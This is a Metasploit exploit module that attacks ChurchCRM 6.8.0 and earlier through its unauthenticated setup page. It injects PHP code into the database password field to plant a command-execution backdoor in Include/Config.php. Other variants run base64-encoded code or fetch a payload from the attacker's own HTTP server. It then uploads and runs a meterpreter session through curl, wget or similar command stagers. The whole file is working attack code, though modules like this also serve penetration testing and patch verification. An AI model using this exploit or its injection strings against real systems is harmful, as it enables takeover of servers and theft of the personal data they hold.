##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ChurchCRM Unauthenticated RCE 6.8.0',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution
          vulnerability in the installation process of ChurchCRM versions
          6.8.0 and earlier. By sending a specially crafted POST request to
          the 'setup' page, an attacker can execute arbitrary commands on the
          target server. This module uploads a meterpreter payload to the
          target server and executes it, allowing for remote code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => ['LucasCsmt'],
        'References' => [
          [ 'GHSA', 'm8jq-j3p9-2xf3'],
          [ 'CVE', '2025-62521']
        ],
        'Platform' => ['linux', 'php'],
        'Targets' => [
          [
            'Linux/unix Command (CmdStager)',
            {
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'Platform' => ['linux'],
              'Type' => :nix_cmdstager,
              'DefaultOptions' => {
                'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="rm Include/Config.php"'
              },
              'CmdStagerFlavor' => [
                'printf', 'echo', 'bourne', 'fetch', 'curl', 'wget'
              ]
            }
          ],
          [
            'PHP (In-Memory)',
            {
              'Arch' => [ ARCH_PHP ],
              'Platform' => ['php'],
              'Type' => :php_memory,
              'DefaultOptions' => {
                'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="php -r \"unlink(\'Include/Config.php\');\""'
              }
            }
          ],
          [
            'PHP (fetch)',
            {
              'Arch' => [ ARCH_PHP ],
              'Platform' => ['php'],
              'Type' => :php_fetch,
              'DefaultOptions' => {
                'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="php -r \"unlink(\'Include/Config.php\');\""'
              }
            }
          ],
        ],
        'DisclosureDate' => '2025-12-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path', '/']),
      ]
    )
  end

  # Check if the target is up by accessing the setup page
  def check
    print_status('Checking if the target is reachable...')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'setup', '/')
    })

    unless res && (res.code == 301 || res.code == 200 || res.code == 302)
      fail_with(Failure::Unreachable, 'Target is not reachable')
      return Exploit::CheckCode::Unknown('Target setup page is inaccessible')
    end

    version = res.headers['CRM-VERSION']
    if version
      print_status("Found ChurchCRM version: #{version}")
      if Rex::Version.new(version) <= Rex::Version.new('6.8.0')
        return Exploit::CheckCode::Appears("Vulnerable version #{version} detected via CRM-VERSION header.")
      else
        return Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
      end
    end

    return Exploit::CheckCode::Appears
  end

  # Build the payload that will be into the installation form
  #
  # @return : the payload
  def build_payload
    case target['Type']
    when :php_memory
      b64_payload = Rex::Text.encode_base64(payload.encoded)
      "#{rand_text_alpha(3)}'; eval(base64_decode(\"#{b64_payload}\")); //"
    when :php_fetch
      start_service
      payload_name = '/tmp/' + rand_text_alpha(5..10) + '.php'
      "#{rand_text_alpha(3)}'; $f='#{payload_name}'; file_put_contents($f, file_get_contents('#{get_uri}')); register_shutdown_function('unlink', $f); include($f); //"
    else
      "#{rand_text_alpha(3)}'; system($_GET['cmd']); //"
    end
  end

  # Send a POST request to the setup page in order to execute commands
  def alter_config
    print_status('Injecting backdoor into Include/Config.php via setup page...')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'setup', '/'),
      'vars_post' => {
        'DB_SERVER_NAME' => rand_text_alpha(5..10),
        'DB_SERVER_PORT' => '3306',
        'DB_NAME' => rand_text_alpha(5..10),
        'DB_USER' => rand_text_alpha(5..8),
        'DB_PASSWORD' => build_payload,
        'ROOT_PATH' => '/',
        'URL' => "http://#{rand_text_alpha(5..10)}.com/"
      }
    })

    msg = 'Failed to inject backdoor into Include/Config.php. ' \
      'This can happen if the setup process has already been ' \
      'completed or if the target is not vulnerable.'
    fail_with(Failure::UnexpectedReply, msg) unless res&.code == 200
  end

  # Execute command on the target server
  #
  # @param cmd [String] the command to execute
  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'vars_get' => { 'cmd' => cmd }
    })
  end

  # Execute PHP code on the target server in order to run the payload
  def execute_php
    print_status('Trying to execute the PHP payload')

    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    print_good('PHP payload successfully executed')
  end

  # Upload the payload to the target server
  def execute_linux
    print_status('Uploading payload to the target server...')

    execute_cmdstager(
      linemax: 500,
      nodelete: false,
      background: true,
      temp: '/tmp'
    )

    print_good('Payload uploaded successfully.')
  end

  # Handles the incoming HTTP request and serves the payload to the target.
  def on_request_uri(cli, _request)
    p = payload.encoded
    send_response(cli, p, {
      'Content-Type' => 'application/x-httpd-php',
      'Pragma' => 'no-cache'
    })
  end

  def exploit
    alter_config

    case target['Type']
    when :nix_cmdstager
      execute_linux
    else
      execute_php
    end
  end
end
